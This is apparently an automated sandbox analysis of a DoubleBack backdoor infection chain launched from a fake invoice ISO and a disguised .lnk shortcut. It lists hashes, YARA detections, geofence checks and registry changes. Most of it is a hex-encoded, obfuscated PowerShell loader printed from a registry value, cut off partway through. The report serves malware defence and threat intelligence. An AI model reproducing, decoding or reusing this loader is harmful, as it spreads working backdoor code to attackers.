Overview
overview
10Static
static
Invoice-06-0922.iso
windows7_x64
3Invoice-06-0922.iso
windows10-2004_x64
31204.ps1
windows7_x64
11204.ps1
windows10-2004_x64
10Scan_314.jpg
windows7_x64
3Scan_314.jpg
windows10-2004_x64
3Scan_314.jpg.lnk
windows7_x64
3Scan_314.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Analysis
-
max time kernel
132s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 20:53
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-06-0922.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Invoice-06-0922.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1204.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1204.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_314.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_314.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_314.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_314.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
Scan_314.jpg.lnk
-
Size
1KB
-
MD5
a43cd61911f636d590eb9a5edfc4777f
-
SHA1
419c382c0311691ee2ba00537d640500d1896366
-
SHA256
6ec963361dc22ff695854bbb3838856d78c1aef73ea07fc855b6d82b57ca51b1
-
SHA512
b8889b2f6cde2f85bdcdbe7f529bcdfb6637ec7b29c8f0d1198e954467fb404e1441195942abdb6029bdad5a224628fd05d8f6f8fe0431eb5d9bd13d2e2d7958
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral8/memory/3492-138-0x000001E5435D0000-0x000001E5435DA000-memory.dmp family_doubleback_x64 behavioral8/memory/3492-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/4724-140-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral8/memory/4724-144-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 10 3492 powershell.exe 32 4724 msiexec.exe 33 4724 msiexec.exe 34 4724 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 25 IoCs
Processes:
powershell.exemsiexec.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{07120E11-0009-010F-0A12-11081110030C} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{07120E11-0009-010F-0A12-11081110030C}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{07120E11-0009-010F-0A12-11081110030C}\ = "{07120E11-0009-010F-0A12-11081110030C}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{07120E11-0009-010F-0A12-11081110030C}\CLSID\ = "{12110B10-0104-1207-0C00-0C0D010B010C}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{110E1106-040E-0400-0603-13090E0D0F09}\TreatAs\ = "{12110B10-0104-1207-0C00-0C0D010B010C}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\VersionIndependentProgID\ = "{07120E11-0009-010F-0A12-11081110030C}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\{07120E11-0009-010F-0A12-11081110030C}\CLSID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\ProgID\010C = 66756e6374696f6e206172327b706172616d28247663302c24626c372920286b6d37202732343741363933323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343741363933323245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343736363333303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343741363933323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436323643333732433234373636333330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234374136393332324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3132322d3131385d2b247073686f6d655b3137322d3133385d2b277827297d66756e6374696f6e206b79397b706172616d28246d683129202874793920273234363536313338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343646364133393344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343635363133383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363536313338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364636413339324332343644363833313239323927297c2628247073686f6d655b3138302d3137365d2b247073686f6d655b3139312d3135375d2b277827297d66756e6374696f6e206c66327b706172616d28247668372c247a68382920286f7932202732343731363233363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343731363233363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343736363833373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343731363233363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437413638333832433234373636383337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373136323336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3138322d3137385d2b247073686f6d655b3232332d3138395d2b277827297d66756e6374696f6e206a61317b706172616d282469793829282d6a6f696e2824697938202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e20776c397b706172616d28247a76322c247773332920286f753120273234363837393335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343633363833373344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343638373933353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363837393335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363336383337324332343741373633323239323927297c2628247073686f6d655b3138372d3138335d2b247073686f6d655b3231322d3137385d2b277827297d66756e6374696f6e207862397b706172616d28246f64372c246b6439292028637535202732343731364233383344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323331333133303432333133303244333033313330333432443331333233303337324433303433333033303244333034333330343433303331333034323330333133303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333233313331323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133323331333132373342323437333638333133443238323437313642333835423333333235443242323832383238323833313330324233333239324233323330323932393239323933423230323437333642333633443234373136423338354232343733363833313245324532383234373336383331324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437333642333632393342323437313642333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233313331333034323331333032443330333133303334324433313332333033373244333034333330333032443330343333303434333033313330343233303331333034333744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303433323733423234373336383331334437423230323436383738333733443330324532453332333533353342333032453245333233353335374332353742323032343730364333333344323832343730364333333242323436383738333735423234354635443242323437333642333635423234354632353234373336423336324534433635364536373734363835443239323532383238333233383330324432383333333632443331333232393239323933423230323436383738333735423234354635443243323436383738333735423234373036433333354433443234363837383337354232343730364333333544324332343638373833373542323435463544323037443230334232343731364233383743323537423234364237353335334432383234364237353335324233313239323532383238333132423238333133333333333033323332333733343337333332443331333333333330333233323337333433373333323932393242333233353335323933423230323437393738333733443238323437393738333732423234363837383337354232343642373533353544323932353238333433323339324433313337333332393342323032343638373833373542323436423735333535443243323436383738333735423234373937383337354433443234363837383337354232343739373833373544324332343638373833373542323436423735333535443342323435463244363237383646373232343638373833373542323832343638373833373542323436423735333535443242323436383738333735423234373937383337354432393235323832383238333333393337324433313334333132393239323935443230374432303744323033423234373137373338323033443230323832363230323437333638333137433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436423735333533443330334232343642373533353230324436433734323032343731373733383245344336353645363737343638334232343642373533353242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373137373338324535333735363237333734373236393645363732383234364237353335324333323239324332383238323833323332324433363239323932393239323037443239323927297c2628247073686f6d655b3138322d3137385d2b247073686f6d655b3134392d3131355d2b277827297d66756e6374696f6e206776327b706172616d28247976322c246773382c24706730292028617a39202732343644363133393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343644363133393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343739373633323239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343644363133393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436373733333832433234373937363332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364436313339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3139342d3139305d2b247073686f6d655b3232352d3139315d2b277827297d66756e6374696f6e20746c387b706172616d28246979382920286a613120273234363636343338334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343635363333303344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343636363433383245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363636343338324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363536333330324332343639373933383239323927297c2628247073686f6d655b3137302d3136365d2b247073686f6d655b3231372d3138335d2b277827297d2066756e6374696f6e206e79337b706172616d28246979382c24796f352920286a6131202732343646373333373344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343646373333373245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343639373933383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343646373333373245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437393646333532433234363937393338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364637333337324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3230302d3139365d2b247073686f6d655b3133362d3130325d2b277827297d2066756e6374696f6e207077307b706172616d28246979382c24796f352c246966352920286a6131202732343631363933303344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323331333133303432333133303244333033313330333432443331333233303337324433303433333033303244333034333330343433303331333034323330333133303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333233313331323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133323331333132373342323436453731333233443238323436313639333035423333333235443242323832383238323833313330324233333239324233323330323932393239323933423230323436433641333533443234363136393330354232343645373133323245324532383234364537313332324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436433641333532393342323436313639333033443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233313331333034323331333032443330333133303334324433313332333033373244333034333330333032443330343333303434333033313330343233303331333034333744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303433323733423234364537313332334437423230323437353642333233443330324532453332333533353342333032453245333233353335374332353742323032343733373933333344323832343733373933333242323437353642333235423234354635443242323436433641333535423234354632353234364336413335324534433635364536373734363835443239323532383238333233383330324432383333333632443331333232393239323933423230323437353642333235423234354635443243323437353642333235423234373337393333354433443234373536423332354232343733373933333544324332343735364233323542323435463544323037443230334232343631363933303743323537423234363836443339334432383234363836443339324233313239323532383238333132423238333133333333333033323332333733343337333332443331333333333330333233323337333433373333323932393242333233353335323933423230323436393642333533443238323436393642333532423234373536423332354232343638364433393544323932353238333433323339324433313337333332393342323032343735364233323542323436383644333935443243323437353642333235423234363936423335354433443234373536423332354232343639364233353544324332343735364233323542323436383644333935443342323435463244363237383646373232343735364233323542323832343735364233323542323436383644333935443242323437353642333235423234363936423335354432393235323832383238333333393337324433313334333132393239323935443230374432303744323033423234364137333334323033443230323832363230323436453731333237433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436383644333933443330334232343638364433393230324436433734323032343641373333343245344336353645363737343638334232343638364433393242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364137333334324535333735363237333734373236393645363732383234363836443339324333323239324332383238323833323332324433363239323932393239323037443239323927297c2628247073686f6d655b3130352d3130315d2b247073686f6d655b3231362d3138325d2b277827297d66756e6374696f6e207a61387b706172616d28246c63302c247a77342c246c6f3529202861623120273234373636393331334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343644373033313344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343736363933313245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373636393331324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364437303331324332343643363333303239323927297c2628247073686f6d655b3136352d3136315d2b247073686f6d655b3137392d3134355d2b277827297d246169303d70773020276679627169736e776d6170657278642720276e6b7462657973726f787167646368762720276d656e7371677263787a776c70666f6b61273b66756e6374696f6e206a7a317b706172616d28246579302c24676e30292028757433202732343741373733383344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333133323331333133303432333133303244333033313330333432443331333233303337324433303433333033303244333034333330343433303331333034323330333133303433374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373331333233313331323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333133323331333132373342323436413644333633443238323437413737333835423333333235443242323832383238323833313330324233333239324233323330323932393239323933423230323436453639333533443234374137373338354232343641364433363245324532383234364136443336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436453639333532393342323437413737333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423331333233313331333034323331333032443330333133303334324433313332333033373244333034333330333032443330343333303434333033313330343233303331333034333744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303331333034333237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333133303433323733423234364136443336334437423230323437393738333733443330324532453332333533353342333032453245333233353335374332353742323032343732373833303344323832343732373833303242323437393738333735423234354635443242323436453639333535423234354632353234364536393335324534433635364536373734363835443239323532383238333233383330324432383333333632443331333232393239323933423230323437393738333735423234354635443243323437393738333735423234373237383330354433443234373937383337354232343732373833303544324332343739373833373542323435463544323037443230334232343741373733383743323537423234373236363334334432383234373236363334324233313239323532383238333132423238333133333333333033323332333733343337333332443331333333333330333233323337333433373333323932393242333233353335323933423230323436333738333633443238323436333738333632423234373937383337354232343732363633343544323932353238333433323339324433313337333332393342323032343739373833373542323437323636333435443243323437393738333735423234363337383336354433443234373937383337354232343633373833363544324332343739373833373542323437323636333435443342323435463244363237383646373232343739373833373542323832343739373833373542323437323636333435443242323437393738333735423234363337383336354432393235323832383238333333393337324433313334333132393239323935443230374432303744323033423234364336423338323033443230323832363230323436413644333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323437323636333433443330334232343732363633343230324436433734323032343643364233383245344336353645363737343638334232343732363633343242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364336423338324535333735363237333734373236393645363732383234373236363334324333323239324332383238323833323332324433363239323932393239323037443239323927297c2628247073686f6d655b3131382d3131345d2b247073686f6d655b3134352d3131315d2b277827297d66756e6374696f6e206e68377b706172616d28246167322c24776a39292028776e3220273234363436353335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343735373633313344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343634363533353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363436353335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234373537363331324332343631363733323239323927297c2628247073686f6d655b3230312d3139375d2b247073686f6d655b3134322d3130385d2b277827297d66756e6374696f6e207671337b706172616d28247666372c246971352c24646f36292028636c32202732343636364133363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343636364133363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343736363633373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343636364133363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393731333532433234373636363337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363636413336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135352d3135315d2b247073686f6d655b3137392d3134355d2b277827297d66756e6374696f6e206368317b706172616d28246169302c246f7a362c24686f372c247662312920286a6131202732343735364233323344354235333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341343736353734343436353643363536373631373436353436364637323436373536453633373436393